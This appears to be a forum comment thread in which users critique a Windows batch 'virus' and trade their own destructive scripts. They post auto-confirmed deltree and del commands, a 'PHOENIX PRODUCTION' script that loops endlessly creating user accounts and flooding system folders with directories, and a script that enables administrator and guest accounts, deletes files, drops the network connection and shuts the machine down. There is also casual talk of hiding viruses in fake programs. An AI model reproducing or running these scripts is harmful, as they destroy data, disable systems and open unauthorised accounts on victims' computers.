This is absolutely useless, as others pointed out.
Windows will not allow you to delete the Windows folder once booted up and even changing the drive letter of a compressed FAT drive will nto work if Windows is installed on it.

Unless you can execute this script without user confirmation (using the /q switch), I think that this is useless. Who would press "Y" on this command?

If you do use quiet mode, it still requires pure DOS mode. That means no Windows has to be loaded. As far as I know, only Windows 95 supports this. I think Windows 98 can, but you need a startup disk in order for that to work.

on the pressing of "Y"..
i know 5 ways to do that without the user knowing.. and windows or even DOS provides the 4 methods..

funny, this virus doesn't work w/ Linux because first of all, it's not in Shell script and who would install Linux on the same partition w/ Windows knowing that it could be easily and accidentally erased!

In my opinion virus itself is dangerous when it's invisible.

Mainly the viruses are

-worms
-trojans
-backdoors

Worms are the most dangerous ones, because they walk from computer to computer and infect
them. A virusmaker (worm coder) uses vulnerabilities of operating systems or of any software
in order to code a worm that then his/her worm could easily infect another computer without
his/her interaction. And then the process of infecting goes on automatically.
And that's why the worms are the most dangerous because they infect their victims faster
than other types of viruses.

Trojans are just like thieves. They steal passwords, banking accounts , or any sensitive
information.



Backdoors are just like "back doors" . While on victims computer they open a port (TCP/IP)
like a tunnel or "back door". Through this "back door" an attacker enters the victims
computer and does what he/she want. Nowadays these open ports are easily closed by firewalls.
And that's why these types of viruses are not effective.

The "virus" in your case hm.. is only a part of script of a body of a virus listed above.
And it cannot be run with user interaction (we should assume that users are not
babies or .. ) . Mainly it can be used to cover the tracks of an attacker (by modifying
the content of your batch script , of course by not deleting the whole $WINDOWS$ ).

not only is that lame, it wont work.
*nix systems don't have a C: at all, so it's only windows in the firs place. also, as pointed out, it won't let the user delete the windows directory while windows is booted.
you would have far better result if you did some thing like this...
@echo y|deltree *.
@echo y|del *.*

This is basic stuff we are not n00b's can some one add something more difficult

@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET snowball2=1 >> bat6.Bat
@ECHO GOTO flood5 >> bat6.Bat
@ECHO :flood5 >> bat6.Bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.Bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.Bat
@ECHO GOTO flood5 >> bat6.Bat
START /MIN bat6.Bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.Bat
@ECHO SET maggi=1 >> bat5.Bat
@ECHO GOTO flood4 >> bat5.Bat
@ECHO :flood4 >> bat5.Bat
@ECHO MKDIR maggi%%maggi%% >> bat5.Bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.Bat
@ECHO GOTO flood4 >> bat5.Bat
START /MIN bat5.Bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.Bat
@ECHO SET marge=1 >> bat4.Bat
@ECHO GOTO flood3 >> bat4.Bat
@ECHO :flood3 >> bat4.Bat
@ECHO MKDIR marge%%marge%% >> bat4.Bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.Bat
@ECHO GOTO flood3 >> bat4.Bat
START /MIN bat4.Bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.Bat
@ECHO SET bart=1 >> bat3.Bat
@ECHO GOTO flood2 >> bat3.Bat
@ECHO :flood2 >> bat3.Bat
@ECHO MKDIR bart%%bart%% >> bat3.Bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.Bat
@ECHO GOTO flood2 >> bat3.Bat
START /MIN bat3.Bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.Bat
@ECHO SET homer=1 >> bat2.Bat
@ECHO GOTO flood >> bat2.Bat
@ECHO :flood >> bat2.Bat
@ECHO MKDIR homer%%homer%% >> bat2.Bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.Bat
@ECHO GOTO flood >> bat2.Bat
START /MIN bat2.Bat
GOTO original

:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1

Try this still not a virus just a .Bat file but a fun one also very annoying.

Ok, where to start...

First of all, virii cant spread themselves, they only infect the node they are currently in. Worms on the other hand can spread. Worms ARE NOT DANGEROUS unless they have a payload in them. A payload can be a regular program, virii, or other random things like trojans, backdoors, polymorphs, and so on and so forth.

Now, I see we have some intermediate scripters, like me, and some script kiddes, which is ok if your younger. Just for the SK's info, vb virii are hardly used anymore. They can pretty much only be used on your own computer or the extremely unprotected computer. Although it can be kinda fun just screwing around on a junk HD. I suggest after or durring studying vb, you should look into c++, java, javascript, and some lesser known types like ruby and perl (not pokemon games). C++ can be widely used, not just for a virus, but for webpages, programs, and what-not. So, if u wanna get arrested, make something like a fake program or something, put a virus in it, and put it on the web. Java and java script are widely used on the internet for games and stuff. This can be fun cause it's the idiot's fault for getting it. (sorry if it offended anyone, but it's kinda true). And the other two, ruby and perl, they can be used for white/black hat hacking, virii, and several other things as well. They are mostly (if not only) used on/for linux and GPLOSs for most of their programs. A prime example of these two can be found on the os, BACKTRACK 1,2,3,and 4beta (depending on how old this post is).

So there u have it, scripting for dummies. Just make sure that none of u guys (or maybe girls) get caught doing the bad thing. Have fun!

Answer
Very Easy But Very Dangerous Virus

net user administrator /active:yes

net user administrator *insertpassword

start net user guest /active:yes

net user guest *insertpassword

start @echo y|del *.*

ipconfig/release

start shutdown

You can elaborate some more but you get the idea

YOu call that a virus
????
you need to know more than that to create one
